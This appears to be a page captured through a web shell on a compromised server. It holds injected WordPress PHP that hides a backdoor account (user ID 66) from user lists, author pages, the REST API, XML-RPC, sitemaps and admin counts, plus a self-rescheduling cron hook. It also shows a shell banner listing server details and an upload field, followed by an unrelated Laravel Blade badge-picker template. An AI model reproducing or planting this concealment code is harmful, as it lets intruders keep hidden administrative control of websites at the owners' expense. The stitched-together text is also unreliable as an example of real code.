add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<div class="modal fade" id="badgePickerModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="badgePickerTitle">Select Badge</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<div class="mb-3">
<div class="input-group">
<span class="input-group-text">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"/>
</svg>
</span>
<input type="text"
id="badge-search-input"
class="form-control"
placeholder="Search badges by name..."
autocomplete="off">
</div>
</div>
<ul class="nav nav-tabs mb-3" id="badgePickerTabs">
<li class="nav-item">
<button class="nav-link active" data-source="badgau">My Badgau</button>
</li>
<li class="nav-item">
<button class="nav-link" data-source="openskillpaths">OpenSkillPaths</button>
</li>
</ul>
<div id="badge-picker-loading" class="text-center py-5" style="display: none;">
<div class="spinner-border text-primary" role="status">
<span class="visually-hidden">Loading...</span>
</div>
<p class="text-muted mt-2">Searching badges...</p>
</div>
<div id="badge-picker-not-configured" class="text-center py-5" style="display: none;">
<div class="mb-3" style="font-size: 3rem; opacity: 0.5;">🔗</div>
<h6>Badgau Not Connected</h6>
<p class="text-muted mb-3">
Connect your Badgau instance in organization settings to browse badges.
</p>
<a href="<?php echo e(route('organization.edit')); ?>" class="btn btn-outline-primary btn-sm">
Go to Settings
</a>
</div>
<div id="badge-picker-error" class="alert alert-danger" style="display: none;">
<span id="badge-picker-error-message"></span>
</div>
<div id="badge-picker-results" class="badge-picker-grid" style="display: none;">
</div>
<div id="badge-picker-empty" class="text-center py-5" style="display: none;">
<div class="mb-3" style="font-size: 3rem; opacity: 0.5;">🔎</div>
<p class="text-muted">No badges found. Try a different search term.</p>
</div>
<div id="badge-picker-pagination" class="d-flex justify-content-between align-items-center mt-4" style="display: none;">
<button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-prev" disabled>
← Previous
</button>
<span id="badge-picker-page-info" class="text-muted small"></span>
<button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-next" disabled>
Next →
</button>
</div>
<div id="badge-detail-panel" style="display: none;">
<div class="mb-3">
<button type="button" class="btn btn-sm btn-outline-secondary" id="badgeDetailBackBtn">
← Back to results
</button>
</div>
<div class="text-center mb-3">
<img id="badgeDetailImage" src="" alt="" style="max-width: 96px; max-height: 96px; object-fit: contain;">
</div>
<h5 id="badgeDetailName" class="text-center mb-2"></h5>
<div id="badgeDetailDescription" class="text-muted mb-3" style="display:none;"></div>
<table class="table table-sm table-borderless mb-0">
<tbody>
<tr id="badgeDetailIssuerRow" style="display:none;">
<td class="text-muted fw-semibold" style="width:120px;">Issuer</td>
<td id="badgeDetailIssuer"></td>
</tr>
<tr id="badgeDetailAchievementRow" style="display:none;">
<td class="text-muted fw-semibold">Achievement ID</td>
<td><code id="badgeDetailAchievementId" style="font-size:0.8rem; word-break:break-all;"></code></td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="modal-footer border-top-0">
<button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="badgeDetailSelectBtn" style="display:none;">Select this Badge</button>
</div>
</div>
</div>
</div>
<style>
.badge-picker-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
gap: 1rem;
}
.badge-picker-item {
background: #f8f9fa;
border: 2px solid transparent;
border-radius: 12px;
padding: 1rem;
text-align: center;
cursor: pointer;
transition: all 0.2s;
}
.badge-picker-item:hover {
border-color: #0d6efd;
background: #fff;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.badge-picker-item img {
width: 64px;
height: 64px;
object-fit: contain;
margin-bottom: 0.5rem;
}
.badge-picker-item .badge-name {
font-weight: 500;
font-size: 0.875rem;
line-height: 1.3;
margin-bottom: 0.25rem;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.badge-picker-item .badge-issuer {
font-size: 0.75rem;
color: #6c757d;
display: -webkit-box;
-webkit-line-clamp: 1;
-webkit-box-orient: vertical;
overflow: hidden;
}
.badge-picker-item {
position: relative;
}
.badge-info-btn {
position: absolute;
top: 6px;
right: 6px;
background: rgba(255,255,255,0.85);
border: 1px solid #dee2e6;
border-radius: 50%;
width: 24px;
height: 24px;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
color: #6c757d;
cursor: pointer;
opacity: 0;
transition: opacity 0.15s;
}
.badge-picker-item:hover .badge-info-btn {
opacity: 1;
}
.badge-info-btn:hover {
background: #fff;
color: #0d6efd;
border-color: #0d6efd;
}
</style>
<?php /**PATH /var/www/html/emaji/resources/views/admin/badge-albums/_badge-picker-modal.blade.php ENDPATH**/ ?>